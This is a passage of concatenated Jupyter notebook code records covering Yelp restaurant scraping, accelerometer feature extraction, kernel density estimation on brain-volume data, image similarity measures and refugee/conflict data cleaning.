import BeautifulSoup\n\n#For csrapping whole pages \nnum = [1]\nfor i in range(10,90,10):\n num.append(i)\nsoups = [] \nfor page_num in num:\n url = requests.get(f'https://www.yelp.co.uk/search?cflt=burgers&find_loc=Berlin%2C+Germany&start={page_num}')\n print(url)\n soups.append( BeautifulSoup(url.content, 'html.parser') )\n time.sleep(10)\n\n#For the single page\nurl = requests.get('https://www.yelp.co.uk/search?cflt=burgers&find_loc=Berlin%2C+Germany')\nprint(url)\nsoup = BeautifulSoup(url.content, 'html.parser')\n\nmain_container = soup.find_all('div',class_=\"arrange-unit__09f24__rqHTg arrange-unit-fill__09f24__CUubG border-color--default__09f24__NPAKY\")\n\n# List of parameters needed \nresturant_names =[]\nratings = []\nnumber_of_rating =[]\nprice_level = []\nneighbourhood = []\n\n# +\n##Resturant names\nresturant_names= []\nfor main in main_container:\n test = main.find_all(\"h3\",class_=\"css-kagwww\")\n for tes in test:\n resturant_names.append(tes.text.replace('\\xa0','').split('.')[1])\n\n\n\n# -\n\n##Number of rating\nfin = soup.find_all('span', class_='reviewCount__09f24__tnBk4 css-chan6m')\nfor fins in fin:\n number_of_rating.append(fins.text)\n\n\n##Price level\nprice_level = []\npriincing = soup.select('.css-dzq7l1')\nfor pri in priincing:\n raw_output = pri.text\n price_level.append(re.findall('€+',raw_output))\n\n##Neighbourhood\nneighbour = soup.select('.css-dzq7l1')\nfor neighb in neighbour:\n raw_neighb= neighb.text\n neighbourhood.append(re.findall('€+(\\w+)',raw_neighb))\n# re.findall('€+(\\w+)',raw_output)\n\n\n##For cleaning the price column \nimport numpy as np\nfinal_data =pd.DataFrame({'Name':resturant_names, 'Price':price_level,'Neighbourhood':neighbourhood,'number_of_rating':number_of_rating})\nfinal_data=final_data.mask(final_data.applymap(str).eq('[]'))\nfinal_data=final_data.explode(['Price','Neighbourhood'])\nfinal_data\n\n# +\nrating_new = soup.find_all('div', class_= ' i-stars__09f24__M1AR7 i-stars--regular-4-half__09f24__wuUkO border-color--default__09f24__NPAKY overflow--hidden__09f24___ayzG')\nfor rtg in rating_new:\n print(rtg)\n # ratings.append(rtg['aria-label'])\n # ratings.append(re.findall('div', {'aria-label': re.compile(' star rating')}))['aria-label']\n\n# rating\n","repo_name":"AndreaViviani89/1st-Build-Week","sub_path":"yelp_scrapping - Copia.ipynb","file_name":"yelp_scrapping - Copia.ipynb","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"30576248529","text":"# + _uuid=\"8f2839f25d086af736a60e9eeb907d3b93b6e0e5\" _cell_guid=\"b1076dfc-b9ad-4769-8c92-a6c4dae69d19\"\nimport numpy as np \nimport pandas as pd \nimport os\n\nTRAIN_PATH = '/kaggle/input/datafile/train'\nTEST_PATH = '/kaggle/input/datafile1/test'\nVAL_PATH = '/kaggle/input/datavalidation/val'\n\ntrain_datas = {}\ntest_datas = {}\nval_datas = {}\n\nfor dirname, _, filenames in os.walk(TRAIN_PATH):\n for filename in filenames:\n train_datas[filename] = os.path.join(dirname, filename)\n\nfor dirname, _, filenames in os.walk(TEST_PATH):\n for filename in filenames:\n test_datas[filename] = os.path.join(dirname, filename)\n \nfor dirname, _, filenames in os.walk(VAL_PATH):\n for filename in filenames:\n val_datas[filename] = os.path.join(dirname, filename)\n\n \nlen(train_datas), len(test_datas), len(val_datas)\n# -\n\n# - 20Hz = 20 readings/seconds.\n# - Activity Time = 3 minutes.\n# - 180 * 20 = 3600 rows/eachactivity/eachsubject\n\n# +\nimport numpy as np\n\n\ndef window(width, overlap, max_idx): \n start = 0\n if overlap < 0.0 or overlap >= 1.:\n raise ValueError(\"overlap needs to be a number between 0 and 1\")\n while True:\n end = start + width\n if end >= max_idx:\n return None\n yield start, end\n start += max(int((1-overlap)*width), 1)\n\n \ndef window_df(df, width, overlap):\n windows = window(width, overlap, len(df))\n for start, end in windows:\n yield df[start:end]\n\n\ndef standardize(df): \n return (df - df.mean()) / df.std()\n\n\ndef zero_cross_rate(series): \n zero_cross_count = (np.diff(np.sign(series)) != 0).sum()\n return zero_cross_count / len(series)\n\n\n# +\nSAMPLING_RATE = 20 \nDATA_COLS = [\"x\", \"y\", \"z\"] \nTARGET_COL = [\"target\"] \n\nVALID_TARGETS = list(\"abcdefghijklmopqrs\".upper())\nprint(len(VALID_TARGETS))\n\n# +\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import kurtosis\nimport os\nimport pickle\nfrom collections import defaultdict\n\nN_SECONDS = 5\nOVERLAP = 0.5\n\ndef generate_features(df):\n\n master_valid = df[df['target'].isin(VALID_TARGETS)]\n\n feature_matrix = []\n \n for target, df in master_valid.groupby('target'):\n df = standardize(df[DATA_COLS])\n \n grp = defaultdict(list)\n grp['target'] = target\n samples = window_df(df,width=N_SECONDS*SAMPLING_RATE,overlap=OVERLAP)\n \n for sample in samples:\n means = sample[DATA_COLS].mean()\n grp['x_mean'].append(means['x'])\n grp['y_mean'].append(means['y'])\n grp['z_mean'].append(means['z'])\n \n stds = sample[DATA_COLS].std()\n grp['x_std'].append(stds['x'])\n grp['y_std'].append(stds['y'])\n grp['z_std'].append(stds['z'])\n \n grp['x_max_min'].append(max(sample[\"x\"]) - min(sample[\"x\"]))\n grp['y_max_min'].append(max(sample[\"y\"]) - min(sample[\"y\"]))\n grp['z_max_min'].append(max(sample[\"z\"]) - min(sample[\"z\"]))\n \n corrs = sample[DATA_COLS].corr()\n grp['xy_corr'].append(corrs.loc['x', 'y'])\n grp['xz_corr'].append(corrs.loc['x', 'z'])\n grp['yz_corr'].append(corrs.loc['y', 'z'])\n \n \n rms = np.sqrt(np.mean(np.square(sample[DATA_COLS]), axis=1))\n grp['rms_mean'].append(rms.mean())\n grp['rms_std'].append(rms.std())\n\n grp['x_zcr'].append(zero_cross_rate(sample['x']))\n grp['y_zcr'].append(zero_cross_rate(sample['y']))\n grp['z_zcr'].append(zero_cross_rate(sample['z']))\n\n kurtoses = kurtosis(sample[DATA_COLS])\n grp['x_kurtosis'].append(kurtoses[0])\n grp['y_kurtosis'].append(kurtoses[1])\n grp['z_kurtosis'].append(kurtoses[2])\n\n \n x_fft = abs(np.fft.rfft(sample['x']))\n y_fft = abs(np.fft.rfft(sample['y']))\n z_fft = abs(np.fft.rfft(sample['z']))\n\n grp['x_freq_max'].append(np.argmax(x_fft))\n grp['y_freq_max'].append(np.argmax(y_fft))\n grp['z_freq_max'].append(np.argmax(z_fft))\n\n \n grp['x_fft_max'].append(x_fft.max())\n grp['y_fft_max'].append(y_fft.max())\n grp['z_fft_max'].append(z_fft.max())\n \n \n grp['x_fft_mean'].append(x_fft.mean())\n grp['y_fft_mean'].append(y_fft.mean())\n grp['z_fft_mean'].append(z_fft.mean())\n\n \n grp['x_fft_std'].append(x_fft.std())\n grp['y_fft_std'].append(y_fft.std())\n grp['z_fft_std'].append(z_fft.std())\n\n grp['x_fft_kurtosis'].append(kurtosis(x_fft))\n grp['y_fft_kurtosis'].append(kurtosis(y_fft))\n grp['z_fft_kurtosis'].append(kurtosis(z_fft))\n\n\n feature_matrix.append(pd.DataFrame(grp))\n\n \n feature_matrix_df = pd.concat(feature_matrix)\n \n return feature_matrix_df\n\n# -\n\ndef preprocess_data(data_paths):\n feature_dfs = []\n for txt_file in data_paths:\n txt_hints = txt_file.split('_')\n print(\"Pre-Processing {} ...\".format(data_paths[txt_file]))\n df = pd.read_csv(data_paths[txt_file],names = ['id', 'target', 'timestamp', 'x', 'y', 'z'])\n df['z'] = df['z'].apply(lambda x: float(x.strip(';')))\n\n fdf = generate_features(df)\n fdf['idx'] = int(txt_hints[1])\n fdf['sensor'] = txt_hints[2]\n fdf['device'] = txt_hints[3].split('.')[0]\n feature_dfs.append(fdf)\n feature_df = pd.concat(feature_dfs)\n return feature_df\n\n\ntrain_data = preprocess_data(train_datas)\noutput_file = \"train_data.pkl\"\nwith open(output_file, 'wb') as f:\n pickle.dump(train_data, f)\n\n# +\ntest_data = preprocess_data(test_datas)\n\noutput_file = \"test_data.pkl\"\nwith open(output_file, 'wb') as f:\n pickle.dump(test_data, f)\n# -\n\nval_data = preprocess_data(val_datas)\noutput_file = \"val_data.pkl\"\nwith open(output_file, 'wb') as f:\n pickle.dump(val_data, f)\n\n# !ls\n","repo_name":"peace-hash/activity-detection","sub_path":"HAR_Preprocess_Data 1b74bd.ipynb","file_name":"HAR_Preprocess_Data 1b74bd.ipynb","file_ext":"py","file_size_in_byte":5954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"4665455678","text":"#\n#\n#

Density estimation: Psychological experiments. (50 points)


\n#\n# *The data **setn90pol.csv** contains information on 90 university students who participated in a psychological experiment designed to look for relationships between the size of different regions of the brain and political views. The variables **amygdala** and **acc** indicate the volume of two particular brain regions known to be involved in emotions and decision-making, the amygdala and the anterior cingulate cortex; more exactly, these are residuals from the predicted volume, after adjusting for height, sex, and similar body-type variables. The variable **orientation** gives the students’ locations on a five-point scale from 1 (very conservative) to 5 (very liberal).*
\n\n# +\n# imports\n# # %matplotlib inline\n# # %matplotlib notebook\n# # %matplotlib notebook\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.neighbors import KernelDensity\n\n# -\n\ndata = pd.read_csv('n90pol.csv')\ndata['amygdala'] -= data['amygdala'].mean()\ndata['acc'] -= data['acc'].mean()\n\n# I provide a plot of amygdala and acc for all orientations for reference:\n\n# %matplotlib inline\nplt.figure(figsize = (10,10))\nplt.xlabel('amygdala')\nplt.ylabel('acc')\nplt.title('amygdala & acc size scatterplot (centered)')\nplt.plot(data['amygdala'], data['acc'],'r.')\nplt.show()\n\nxo2 = data[data['orientation'] == 2]['amygdala'].values\nyo2 = data[data['orientation'] == 2]['acc'].values\nxo3 = data[data['orientation'] == 3]['amygdala'].values\nyo3 = data[data['orientation'] == 3]['acc'].values\nxo4 = data[data['orientation'] == 4]['amygdala'].values\nyo4 = data[data['orientation'] == 4]['acc'].values\nxo5 = data[data['orientation'] == 5]['amygdala'].values\nyo5 = data[data['orientation'] == 5]['acc'].values\n\n# (a) *Form 2-dimensional histogram for the pairs of variables (amygdala, acc). Decide on a suitable number of bins so you can see the shape of the distribution clearly.*\n#
\n# Below, the 2-d histogram is visualized. I wasn't able to get a plot of them all in one chart so instead I show them in their own charts each by orientation. \n\n# +\n# %matplotlib inline\n\n\n\nnbins = 5\nnrange = [[-0.1, 0.1],[-0.1, 0.1]]\nnrange = None\nmaxz = 9\nnwat = 0\n\n# build the histograms\nhist2, xedges2, yedges2 = np.histogram2d(xo2, yo2, bins=nbins, range=nrange)\nxpos2, ypos2 = np.meshgrid(xedges2[:-1] + nwat, yedges2[:-1] +nwat, indexing = 'ij')\nxpos2 = xpos2.ravel()\nypos2 = ypos2.ravel()\nzpos2 = 0\ndx2 = dy2 = 0.015 * np.ones_like(zpos2)\n\nhist3, xedges3, yedges3 = np.histogram2d(xo3, yo3, bins=nbins, range=nrange)\nxpos3, ypos3 = np.meshgrid(xedges3[:-1] + nwat, yedges3[:-1] +nwat, indexing = 'ij')\nxpos3 = xpos3.ravel()\nypos3 = ypos3.ravel()\nzpos3 = 0\ndx3 = dy3 = 0.015 * np.ones_like(zpos3)\n\nhist4, xedges4, yedges4 = np.histogram2d(xo4, yo4, bins=nbins, range=nrange)\nxpos4, ypos4 = np.meshgrid(xedges4[:-1] + nwat, yedges4[:-1] +nwat, indexing = 'ij')\nxpos4 = xpos4.ravel()\nypos4 = ypos4.ravel()\nzpos4 = 0\ndx4 = dy4 = 0.015 * np.ones_like(zpos4)\n\nhist5, xedges5, yedges5 = np.histogram2d(xo5, yo5, bins=nbins, range=nrange)\nxpos5, ypos5 = np.meshgrid(xedges5[:-1] + nwat, yedges5[:-1] +nwat, indexing = 'ij')\nxpos5 = xpos5.ravel()\nypos5 = ypos5.ravel()\nzpos5 = 0\ndx5 = dy5 = 0.015 * np.ones_like(zpos5)\n\n\ndz2 = hist2.ravel()\ndz3 = hist3.ravel()\ndz4 = hist4.ravel()\ndz5 = hist5.ravel()\n\nfig = plt.figure(figsize = (10,10))\nfig.suptitle('Histogram of amigdala vs acc size for 4 political orientations', \n fontsize = 16)\n\nax = fig.add_subplot(2,2,1, projection='3d')\nax.set_zlim(0, maxz)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_zlabel('count')\nax.set_title('orientation=2')\nhgram = ax.bar3d(xpos2, ypos2, zpos2, dx2, dy2, dz2, zsort='average', color='purple')\n\nax = fig.add_subplot(2,2,2, projection='3d')\nax.set_zlim(0, maxz)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_zlabel('count')\nax.set_title('orientation=3')\nhgram = ax.bar3d(xpos3, ypos3, zpos3, dx3, dy3, dz3, zsort='average', color='green')\n\nax = fig.add_subplot(2,2,3, projection='3d')\nax.set_zlim(0, maxz)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_zlabel('count')\nax.set_title('orientation=4')\nhgram = ax.bar3d(xpos4, ypos4, zpos4, dx4, dy4, dz4, zsort='average', color='orange')\n\nax = fig.add_subplot(2,2,4, projection='3d')\nax.set_zlim(0, maxz)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_zlabel('count')\nax.set_title('orientation=5')\nhgram = ax.bar3d(xpos5, ypos5, zpos5, dx5, dy5, dz5, zsort='average', color='blue')\n\n\n# -\n\n# (b) Now implement kernel-density-estimation (KDE) to estimate the 2-dimensional with a two-dimensional density function of (amygdala,acc). Use a simple multi-dimensional Gaussian kernel, for $x=\\begin{bmatrix}\n# x_1 \\\\\n# x_2\n# \\end{bmatrix}\n# \\in \\rm I\\!R^2$, where $x_1$ and $x_2$ are the two dimensions respectively $$K(x) =\\frac{1}{\\sqrt{2 \\pi}} e ^{\\frac{x_1^2+x_2^2}{2}}$$ \n#\n# Recall in this case, the kernel density estimator (KDE) for a density is given by\n#\n#\n# $$p(x) =\\frac{1}{m}\\sum_{i=1}^m \\frac{1}{h} K \\left(\\frac{x^i-x}{h} \\right)$$\n#\n# where $x^ii$ are two-dimensional vectors, $h \\gt 0$ is the kernel bandwidth. Set an appropriate $h$ soyou can see the shape of the distribution clearly. Plot of contour plot (like the ones in slides) for your estimated density.\n# \n#\n#
\n#\n# Now we build each KDE and plot them as colored contour plots. We also overlay the data points so that the density can be better understood. The scipy function gaussian_kde uses Scott's Rule to calculate $h$, the kernel bandwidth: \n#\n# $$h = m ^{\\frac{-1}{d}}$$ where $m$ is the number of data and $d$ is the number of dimensions. We display $h$ in every plot for reference.\n\n# +\n# %matplotlib inline\n\n# configure parameters\nfrom scipy import stats\ncolors = plt.cm.terrain_r\nxmin = ymin = data[['amygdala', 'acc']].values.min()\nxmax = ymax = data[['amygdala', 'acc']].values.max()\n\n#first kde\nAo2 = min(np.std(xo2), stats.iqr(xo2))\nX, Y = np.mgrid[xmin:xmax:100j, ymin:ymax:100j]\npositions2 = np.vstack([X.ravel(), Y.ravel()])\nvalues2 = np.vstack([xo2,yo2])\nkernel2 = stats.gaussian_kde(values2)\nZo2 = np.reshape(kernel2(positions2).T, X.shape)\n\n#second kde\nAo3 = min(np.std(xo3), stats.iqr(xo3))\nX, Y = np.mgrid[xmin:xmax:100j, ymin:ymax:100j]\npositions3 = np.vstack([X.ravel(), Y.ravel()])\nvalues3 = np.vstack([xo3,yo3])\nkernel3 = stats.gaussian_kde(values3)\nZo3 = np.reshape(kernel3(positions3).T, X.shape)\n\n#third kde\nAo4 = min(np.std(xo4), stats.iqr(xo4))\nX, Y = np.mgrid[xmin:xmax:100j, ymin:ymax:100j]\npositions4 = np.vstack([X.ravel(), Y.ravel()])\nvalues4 = np.vstack([xo4,yo4])\nkernel4 = stats.gaussian_kde(values4)\nZo4 = np.reshape(kernel4(positions4).T, X.shape)\n\n#fourth kde\nAo5 = min(np.std(xo5), stats.iqr(xo5))\nX, Y = np.mgrid[xmin:xmax:100j, ymin:ymax:100j]\npositions5 = np.vstack([X.ravel(), Y.ravel()])\nvalues5 = np.vstack([xo5,yo5])\nkernel5 = stats.gaussian_kde(values5)\nZo5 = np.reshape(kernel5(positions5).T, X.shape)\n\n#plotting gods\nfig = plt.figure(figsize=(10,10))\nfig.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=.3)\n\n#first plot\nax = fig.add_subplot(2,2,1)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_title('orientation=2')\nax.imshow(np.rot90(Zo2), cmap=colors, extent=[xmin, xmax, ymin, ymax])\nax.plot(xo2, yo2, 'k.', markersize=3)\nax.set_xlim([xmin,xmax])\nax.set_ylim([ymin,ymax])\nh2 = kernel2.covariance_factor()*np.std((xo2,yo2))\nax.annotate('bandwidth = '+str(round(h2,5)),\n xy=(0, .8), xycoords='axes fraction',\n xytext=(20, 20), textcoords='offset pixels',\n horizontalalignment='left',\n verticalalignment='top')\n\n#second plot\nax = fig.add_subplot(2,2,2)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_title('orientation=3')\nax.imshow(np.rot90(Zo3), cmap=colors, extent=[xmin, xmax, ymin, ymax])\nax.plot(xo3, yo3, 'k.', markersize=3)\nax.set_xlim([xmin,xmax])\nax.set_ylim([ymin,ymax])\nh3 = kernel3.covariance_factor()*np.std((xo3,yo3))\nax.annotate('bandwidth = '+str(round(h3,5)),\n xy=(0, .8), xycoords='axes fraction',\n xytext=(20, 20), textcoords='offset pixels',\n horizontalalignment='left',\n verticalalignment='top')\n\n#third plot\nax = fig.add_subplot(2,2,3)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_title('orientation=4')\nax.imshow(np.rot90(Zo4), cmap=colors, extent=[xmin, xmax, ymin, ymax])\nax.plot(xo4, yo4, 'k.', markersize=3)\nax.set_xlim([xmin,xmax])\nax.set_ylim([ymin,ymax])\nh4 = kernel4.covariance_factor()*np.std((xo4,yo4))\nax.annotate('bandwidth = '+str(round(h4,5)),\n xy=(0, .8), xycoords='axes fraction',\n xytext=(20, 20), textcoords='offset pixels',\n horizontalalignment='left',\n verticalalignment='top')\n\n#fourth plot\nax = fig.add_subplot(2,2,4)\nax.set_xlabel('amygdala')\nax.set_ylabel('acc')\nax.set_title('orientation=2')\nax.imshow(np.rot90(Zo5), cmap=colors, extent=[xmin, xmax, ymin, ymax])\nax.plot(xo5, yo5, 'k.', markersize=3)\nax.set_xlim([xmin,xmax])\nax.set_ylim([ymin,ymax])\nh5 = kernel5.covariance_factor()*np.std((xo5,yo5))\nax.annotate('bandwidth = '+str(round(h5,5)),\n xy=(0, .8), xycoords='axes fraction',\n xytext=(20, 20), textcoords='offset pixels',\n horizontalalignment='left',\n verticalalignment='top')\n\n\n# -\n\n# (c) *Plot the condition distribution of the volume of the amygdala as a function of political orientation: $p(amygdala|orientation=a)$,$a= 1,...,5$. Do the same for the volume of the acc. Plot $p(acc|orientation=a)$, $a= 1,...,5$. You may either use histogram or KDE to achieve the goal.*\n#\n# The plots are shown below:\n\n# +\n# %matplotlib inline\n\ncmin = -.15\ncmax = .15\nmodelxo2 = KernelDensity(bandwidth=h2, kernel='gaussian')\nmodelxo2.fit(xo2.reshape(len(xo2),1))\nxo2vals=np.mgrid[cmin:cmax:100j]\nxo2vals=xo2vals.reshape((len(xo2vals),1))\nxo2probs = modelxo2.score_samples(xo2vals)\nxo2probs = np.exp(xo2probs)\n\nmodelxo3 = KernelDensity(bandwidth=h3, kernel='gaussian')\nmodelxo3.fit(xo3.reshape(len(xo3),1))\nxo3vals=np.mgrid[cmin:cmax:100j]\nxo3vals=xo3vals.reshape((len(xo3vals),1))\nxo3probs = modelxo3.score_samples(xo3vals)\nxo3probs = np.exp(xo3probs)\n\nmodelxo4 = KernelDensity(bandwidth=h4, kernel='gaussian')\nmodelxo4.fit(xo4.reshape(len(xo4),1))\nxo4vals=np.mgrid[cmin:cmax:100j]\nxo4vals=xo4vals.reshape((len(xo4vals),1))\nxo4probs = modelxo4.score_samples(xo4vals)\nxo4probs = np.exp(xo4probs)\n\nmodelxo5 = KernelDensity(bandwidth=h5, kernel='gaussian')\nmodelxo5.fit(xo5.reshape(len(xo5),1))\nxo5vals=np.mgrid[cmin:cmax:100j]\nxo5vals=xo5vals.reshape((len(xo5vals),1))\nxo5probs = modelxo5.score_samples(xo5vals)\nxo5probs = np.exp(xo5probs)\n\n# plt.hist(xo2, bins =3)\nplt.figure(figsize=(10,10))\nplt.title('Density of Amygdala by Orientation')\nplt.ylabel('count')\nplt.plot(xo2vals, xo2probs)\nplt.plot(xo3vals, xo3probs)\nplt.plot(xo4vals, xo4probs)\nplt.plot(xo5vals, xo5probs)\nplt.legend(('orientation=2, h = '+str(round(h2,4)), 'orientation=3, h = '+str(round(h3,4)), \n 'orientation=4, h = '+str(round(h4,4)), 'orientation=5, h = '+str(round(h5,4))))\n\n# plt.show()\n\n# +\n# %matplotlib inline\n\ncmin = -.15\ncmax = .15\nmodelyo2 = KernelDensity(bandwidth=h2, kernel='gaussian')\nmodelyo2.fit(yo2.reshape(len(yo2),1))\nyo2vals=np.mgrid[cmin:cmax:100j]\nyo2vals=yo2vals.reshape((len(yo2vals),1))\nyo2probs = modelyo2.score_samples(yo2vals)\nyo2probs = np.exp(yo2probs)\n\nmodelyo3 = KernelDensity(bandwidth=h3, kernel='gaussian')\nmodelyo3.fit(yo3.reshape(len(yo3),1))\nyo3vals=np.mgrid[cmin:cmax:100j]\nyo3vals=yo3vals.reshape((len(yo3vals),1))\nyo3probs = modelyo3.score_samples(yo3vals)\nyo3probs = np.exp(yo3probs)\n\nmodelyo4 = KernelDensity(bandwidth=h4, kernel='gaussian')\nmodelyo4.fit(yo4.reshape(len(yo4),1))\nyo4vals=np.mgrid[cmin:cmax:100j]\nyo4vals=yo4vals.reshape((len(yo4vals),1))\nyo4probs = modelyo4.score_samples(yo4vals)\nyo4probs = np.exp(yo4probs)\n\nmodelyo5 = KernelDensity(bandwidth=h5, kernel='gaussian')\nmodelyo5.fit(yo5.reshape(len(yo5),1))\nyo5vals=np.mgrid[cmin:cmax:100j]\nyo5vals=yo5vals.reshape((len(yo5vals),1))\nyo5probs = modelyo5.score_samples(yo5vals)\nyo5probs = np.exp(yo5probs)\n\n# plt.hist(yo2, bins =3)\nplt.figure(figsize=(10,10))\nplt.title('Density of ACC by Orientation')\nplt.ylabel('count')\nplt.plot(yo2vals, yo2probs)\nplt.plot(yo3vals, yo3probs)\nplt.plot(yo4vals, yo4probs)\nplt.plot(yo5vals, yo5probs)\nplt.legend(('orientation=2, h = '+str(round(h2,4)), 'orientation=3, h = '+str(round(h3,4)), \n 'orientation=4, h = '+str(round(h4,4)), 'orientation=5, h = '+str(round(h5,4))))\n\n# plt.show()\n","repo_name":"tmwlcx/ML","sub_path":"Classification/Density Estimation Homework.ipynb","file_name":"Density Estimation Homework.ipynb","file_ext":"py","file_size_in_byte":12644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"33657059889","text":"import cv2\nimport image_similarity_measures\nfrom image_similarity_measures.quality_metrics import rmse, psnr, ssim\n\n\ndef match_size(imgA, imgB):\n tf = tempfile.NamedTemporaryFile(suffix='.jpg')\n \n # which one have more pixels?\n pxA = imgA.size[0]*imgA.size[1]\n pxB = imgB.size[0]*imgB.size[1]\n \n # handle odd pixel size\n print('W/H= ' + str(imgA.size[0]) + '/' + str(imgA.size[1]))\n print('W/H= ' + str(imgB.size[0]) + '/' + str(imgB.size[1]))\n\n if(pxA < pxB):\n #print('resize imgB to match imgA')\n # save temp file imgB\n imgB.save(tf.name)\n imgRes = resize_and_crop(\n tf.name, \n (imgA.size[0],imgA.size[1]), #set width and height to match img1\n crop_origin=\"top\"\n )\n del tf\n return imgRes, imgA\n else:\n #print('resize imgA to match imgB')\n # save temp file imgB\n imgA.save(tf.name)\n imgRes = resize_and_crop(\n tf.name, \n (imgB.size[0],imgB.size[1]), #set width and height to match img1\n crop_origin=\"top\"\n )\n del tf\n return imgRes, imgB\n\n\n# +\nin_img1 = cv2.imread('test-1.jpg')\nin_img2 = cv2.imread('test-2.jpg')\n\nout_rmse = rmse(in_img1, in_img2)\nout_psnr = psnr(in_img1, in_img2)\nout_ssim = ssim(in_img1, in_img2)\n\n\nprint(out_rmse)\nprint(out_psnr)\nprint(out_ssim)\n\n\n# image-similarity-measures --query_image=test-1.jpeg --data_image=test-2.jpeg --metric=all\n\n# +\nimport numpy as np\nimport urllib.request as rq\nimport cv2\nfrom matplotlib import pyplot as plt\n\n# load image from url\ndef urlToImage(url):\n # download image,convert to a NumPy array,and read it into opencv\n resp = rq.urlopen(url)\n img = np.asarray(bytearray(resp.read()),dtype=\"uint8\")\n img = cv2.imdecode(img,cv2.IMREAD_COLOR)\n\n #return the image\n return img\nimg = urlToImage(\"https://cekmedsos.com/uploads/twimg/60b5245f08ec6.jpg\")\nplt.imshow(img)\n","repo_name":"emhavis/multipool","sub_path":"tweet-image-grouping/scratch.ipynb","file_name":"scratch.ipynb","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"413655130","text":"# +\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport geopandas as geopandas\nimport matplotlib as mpl\nimport sys, os\n\n# raw conflict data table\npath = '/Users/BAMAC/GitStuff/VOL/ref_con/'\ndata = pd.read_csv(path+'main_conflict_table.csv')\n\n# geopandas data\nworld = geopandas.read_file(geopandas.datasets.get_path('naturalearth_lowres'))\nworld = world[world.name!='Antarctica']\ncountry_list = list(world.name.values)\n\n# refugee data\n# resettlement data\nasylum = pd.read_csv(path+'refugee-data/time_series.csv',\n names=['year','dest','origin','pop','value'],skiprows=1)\n\n\n# +\nnot_found = []\n# matches the name of the country from the geomap to the dataset for plotting purposes\ndef name_matcher(x_list,country_list):\n \n corr_list = {'Hyderabad':'India','Dominican Republic':'Dominican Rep.','Surinam':'Suriname', \n 'Rumania':'Romania','Bosnia and Herzegovina':'Bosnia and Herz.',\n 'Central African Republic':'Central African Rep.','Cote D’Ivoire':'Côte d\\'Ivoire',\n 'Tibetian':'Tibet','Viet Nam':'Vietnam','Equatorial Guinea':'Eq. Guinea',\n 'Lao People\\'s Dem. Rep.':'Laos','The former Yugoslav Republic of Macedonia':'Macedonia',\n 'Czech Rep.':'Czechia','Iran (Islamic Rep. of)':'Iran',\n 'Brunei Darussalam':'Brunei','Dem. Rep. of the Congo':'Congo','China, Macao SAR':'China',\n 'Syrian Arab Rep.':'Syria','China, Hong Kong SAR':'China',\"Dem. People's Rep. of Korea\":'North Korea',\n 'Bolivia (Plurinational State of)':'Bolivia','Venezuela (Bolivarian Republic of)':'Venezuela',\n 'Solomon Islands':'Solomon Is.','Rep. of Korea':'North Korea','South Sudan':'S. Sudan',\n 'Rep. of Moldova':'Moldova'}\n \n corr_keys=list(corr_list.keys())\n \n new_name = []\n for x in x_list:\n map_names = country_list\n \n if x!= '':\n #if x not in '\\t'.join(map_names):\n if x not in map_names:\n for i in map_names: \n if i in x:\n new_name.extend([i])\n else:\n new_name.extend([x])\n \n if x == 'Various/Unknown':\n new_name.extend(['V/U'])\n \n if new_name == []:\n for x in x_list:\n if x in corr_keys:\n new_name.extend([corr_list[x]])\n \n return new_name\n\n\n# simple splitter for country entries with a ',' in them\ndef name_splitter(x):\n\n return x.split(', ')\n\n\n# add x,y coordinates of the contry (centroid)\ndef add_country_cent(x_list,world_data):\n coords_list = []\n \n for x in x_list:\n if x!= 'V/U':\n if x in world_data.name.values:\n \n if x != 'France': \n buff_coords = world_data[world_data.name == x].geometry.centroid[0]\n coords_list.append([buff_coords.x,buff_coords.y])\n else:\n coords_list.append([46.5,1.6]) \n else:\n coords_list.append([])\n \n return coords_list\n\n\ndef fix_date (x):\n if pd.isnull(x):\n new_x= -99\n else:\n date_to_fix = x \n if 30<=int(date_to_fix[-2:])<=99:\n new_x = date_to_fix[:-2]+'19'+date_to_fix[-2:]\n else:\n new_x = date_to_fix[:-2]+'20'+date_to_fix[-2:]\n return new_x\n\n\ndef get_year (x):\n if pd.isnull(x):\n new_x= -99\n else:\n date_to_fix = x \n if 30<=int(date_to_fix[-2:])<=99:\n new_x = '19'+date_to_fix[-2:]\n else:\n new_x = '20'+date_to_fix[-2:]\n return new_x\n\n\ndef conflict_duration(x):\n \n if x.EpEnd == 1:\n return int(x.EY) - int(x.SY)\n else:\n return 0\n\n\ndef hanging_line(point1, point2):\n import numpy as np\n\n a = (point2[1] - point1[1])/(np.cosh(point2[0]) - np.cosh(point1[0]))\n b = point1[1] - a*np.cosh(point1[0])\n x = np.linspace(point1[0], point2[0], 200)\n y = a*np.cosh(x) + b\n \n \n return (x,y)\n\n\n\n# +\nnew_data = data[['Location', 'SideA', 'SideA2nd', 'SideB', 'SideB2nd',\n 'StartDate', 'StartPrec', 'EpEnd', 'EpEndDate', 'EpEndPrec']].copy()\n\n# fix the country names\nnew_data['loc_split'] = new_data['Location'].map(name_splitter)\nnew_data['loc_split_map'] = new_data['loc_split'].apply(name_matcher,args=(country_list,))\n# new_data['coords'] = new_data['loc_split_map'].apply(add_country_cent,args=(world,))\n\n# get the start year and the end year\nnew_data['SY'] = new_data['StartDate'].map(get_year)\nnew_data['EY'] = new_data['EpEndDate'].map(get_year)\n# get the conflict duration in years\nnew_data['CD'] = new_data.apply(conflict_duration,axis=1)\n# -\n\n# matched = 